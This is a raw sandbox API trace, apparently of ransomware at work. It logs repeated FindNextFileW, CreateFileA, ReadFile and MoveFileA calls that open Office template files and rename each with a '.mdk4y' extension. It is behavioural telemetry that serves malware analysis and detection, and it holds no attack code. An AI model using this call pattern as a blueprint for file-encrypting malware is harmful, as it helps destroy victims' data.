returned 1 [0239.057] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6214, lpOverlapped=0x0) returned 1 [0239.058] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831428800000) returned 1 [0239.058] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831428800000) returned 1 [0239.059] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BZCD98SP.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bzcd98sp.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BZCD98SP.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bzcd98sp.poc.mdk4y")) returned 1 [0239.060] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0239.060] AreFileApisANSI () returned 1 [0239.060] GetACP () returned 0x4e4 [0239.060] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BZCRD98.POC", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BZCRD98.POCC", lpUsedDefaultChar=0x37df4c) returned 11 [0239.060] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BZCRD98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bzcrd98.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0239.061] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831429100000) returned 1 [0239.061] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3caa2, lpOverlapped=0x0) returned 1 [0239.092] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831432200000) returned 1 [0239.092] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831432200000) returned 1 [0239.095] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BZCRD98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bzcrd98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BZCRD98.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bzcrd98.poc.mdk4y")) returned 1 [0239.096] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0239.096] AreFileApisANSI () returned 1 [0239.096] GetACP () returned 0x4e4 [0239.096] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CALENDAR.DPV", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="CALENDAR.DPV", lpUsedDefaultChar=0x37df4c) returned 12 [0239.096] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALENDAR.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\calendar.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0239.098] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831432800000) returned 1 [0239.098] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0239.172] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831440200000) returned 1 [0239.172] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831440200000) returned 1 [0239.181] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALENDAR.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\calendar.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALENDAR.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\calendar.dpv.mdk4y")) returned 1 [0239.190] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0239.190] AreFileApisANSI () returned 1 [0239.191] GetACP () returned 0x4e4 [0239.191] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CALENDAR.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="CALENDAR.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0239.191] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALENDAR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\calendar.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0239.192] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831442200000) returned 1 [0239.192] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2614, lpOverlapped=0x0) returned 1 [0239.297] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831452700000) returned 1 [0239.297] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831452700000) returned 1 [0239.298] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALENDAR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\calendar.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALENDAR.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\calendar.xml.mdk4y")) returned 1 [0239.299] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0239.299] AreFileApisANSI () returned 1 [0239.299] GetACP () returned 0x4e4 [0239.299] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CALHM.POC", cchWideChar=9, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="CALHM.POCXML", lpUsedDefaultChar=0x37df4c) returned 9 [0239.299] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALHM.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\calhm.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0239.301] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831453100000) returned 1 [0239.301] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x329e0, lpOverlapped=0x0) returned 1 [0239.317] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831454700000) returned 1 [0239.317] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831454700000) returned 1 [0239.319] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALHM.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\calhm.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALHM.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\calhm.poc.mdk4y")) returned 1 [0239.320] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0239.321] AreFileApisANSI () returned 1 [0239.321] GetACP () returned 0x4e4 [0239.321] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CALNDR98.POC", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="CALNDR98.POC", lpUsedDefaultChar=0x37df4c) returned 12 [0239.321] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALNDR98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\calndr98.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0239.323] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831455300000) returned 1 [0239.323] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0239.479] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831470900000) returned 1 [0239.479] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831470900000) returned 1 [0239.572] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALNDR98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\calndr98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALNDR98.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\calndr98.poc.mdk4y")) returned 1 [0239.575] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0239.575] AreFileApisANSI () returned 1 [0239.575] GetACP () returned 0x4e4 [0239.575] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CALSO11.POC", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="CALSO11.POCC", lpUsedDefaultChar=0x37df4c) returned 11 [0239.575] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALSO11.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\calso11.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0239.576] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831480600000) returned 1 [0239.576] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1b8c4, lpOverlapped=0x0) returned 1 [0239.638] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831486800000) returned 1 [0239.638] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831486800000) returned 1 [0239.639] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALSO11.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\calso11.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALSO11.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\calso11.poc.mdk4y")) returned 1 [0239.641] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0239.641] AreFileApisANSI () returned 1 [0239.641] GetACP () returned 0x4e4 [0239.641] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CALSO98.POC", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="CALSO98.POC", lpUsedDefaultChar=0x37df4c) returned 11 [0239.641] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALSO98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\calso98.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0239.643] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831487300000) returned 1 [0239.643] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x696d4, lpOverlapped=0x0) returned 1 [0239.742] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831497200000) returned 1 [0239.742] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831497200000) returned 1 [0239.746] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALSO98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\calso98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALSO98.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\calso98.poc.mdk4y")) returned 1 [0239.748] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0239.748] AreFileApisANSI () returned 1 [0239.748] GetACP () returned 0x4e4 [0239.748] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CATALOG.DPV", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="CATALOG.DPV", lpUsedDefaultChar=0x37df4c) returned 11 [0239.749] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CATALOG.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\catalog.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0239.751] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831498100000) returned 1 [0239.751] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4e4ab, lpOverlapped=0x0) returned 1 [0239.764] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831499400000) returned 1 [0239.764] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831499400000) returned 1 [0239.767] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CATALOG.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\catalog.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CATALOG.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\catalog.dpv.mdk4y")) returned 1 [0239.769] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0239.769] AreFileApisANSI () returned 1 [0239.769] GetACP () returned 0x4e4 [0239.769] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CATALOG.XML", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="CATALOG.XML", lpUsedDefaultChar=0x37df4c) returned 11 [0239.769] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CATALOG.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\catalog.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0239.771] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831500100000) returned 1 [0239.771] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1e56, lpOverlapped=0x0) returned 1 [0239.814] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831504400000) returned 1 [0239.814] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831504400000) returned 1 [0239.815] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CATALOG.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\catalog.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CATALOG.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\catalog.xml.mdk4y")) returned 1 [0239.817] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0239.817] AreFileApisANSI () returned 1 [0239.817] GetACP () returned 0x4e4 [0239.817] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CATWIZ.POC", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="CATWIZ.POCL", lpUsedDefaultChar=0x37df4c) returned 10 [0239.817] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CATWIZ.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\catwiz.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0239.855] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831508500000) returned 1 [0239.855] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x62f96, lpOverlapped=0x0) returned 1 [0239.877] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831510700000) returned 1 [0239.877] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831510700000) returned 1 [0239.881] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CATWIZ.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\catwiz.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CATWIZ.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\catwiz.poc.mdk4y")) returned 1 [0239.883] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0239.883] AreFileApisANSI () returned 1 [0239.883] GetACP () returned 0x4e4 [0239.883] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CATWIZ11.POC", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="CATWIZ11.POC", lpUsedDefaultChar=0x37df4c) returned 12 [0239.883] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CATWIZ11.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\catwiz11.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0239.884] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831511400000) returned 1 [0239.884] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x24f44, lpOverlapped=0x0) returned 1 [0239.887] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831511700000) returned 1 [0239.887] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831511700000) returned 1 [0239.889] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CATWIZ11.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\catwiz11.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CATWIZ11.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\catwiz11.poc.mdk4y")) returned 1 [0239.891] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0239.891] AreFileApisANSI () returned 1 [0239.891] GetACP () returned 0x4e4 [0239.891] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CERT.DPV", cchWideChar=8, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="CERT.DPV.POC", lpUsedDefaultChar=0x37df4c) returned 8 [0239.891] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CERT.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\cert.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0239.893] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831512300000) returned 1 [0239.893] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2c1df, lpOverlapped=0x0) returned 1 [0239.990] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831522000000) returned 1 [0239.990] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831522000000) returned 1 [0239.992] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CERT.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\cert.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CERT.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\cert.dpv.mdk4y")) returned 1 [0239.995] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0239.995] AreFileApisANSI () returned 1 [0239.995] GetACP () returned 0x4e4 [0239.995] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CERT.XML", cchWideChar=8, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="CERT.XML", lpUsedDefaultChar=0x37df4c) returned 8 [0239.995] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CERT.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\cert.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0239.997] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831522700000) returned 1 [0239.997] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x170a, lpOverlapped=0x0) returned 1 [0240.038] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831526800000) returned 1 [0240.038] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831526800000) returned 1 [0240.039] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CERT.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\cert.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CERT.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\cert.xml.mdk4y")) returned 1 [0240.044] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0240.044] AreFileApisANSI () returned 1 [0240.044] GetACP () returned 0x4e4 [0240.044] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CERT98.POC", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="CERT98.POCOC", lpUsedDefaultChar=0x37df4c) returned 10 [0240.044] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CERT98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\cert98.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0240.046] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831527600000) returned 1 [0240.046] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x11b82, lpOverlapped=0x0) returned 1 [0240.099] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831532900000) returned 1 [0240.099] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831532900000) returned 1 [0240.100] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CERT98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\cert98.poc"), 